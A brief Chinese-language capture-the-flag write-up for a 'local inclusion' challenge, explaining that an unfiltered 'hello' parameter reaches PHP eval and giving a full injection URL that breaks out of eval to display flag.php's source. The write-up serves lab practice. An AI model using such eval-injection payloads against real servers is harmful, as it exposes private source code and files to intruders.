本地包含

http://120.24.86.145:8003/

提示为“本地包含”，“include”，“flag.php”，以及没有被过滤的参数hello

查看请求头为GET方式。

eval函数里执行输出变量a，即hello。

构造hello值为1);show_source("flag.php");var_dump(1

http://120.24.86.145:8003/?hello=1);show_source(%22flag.php%22);var_dump(1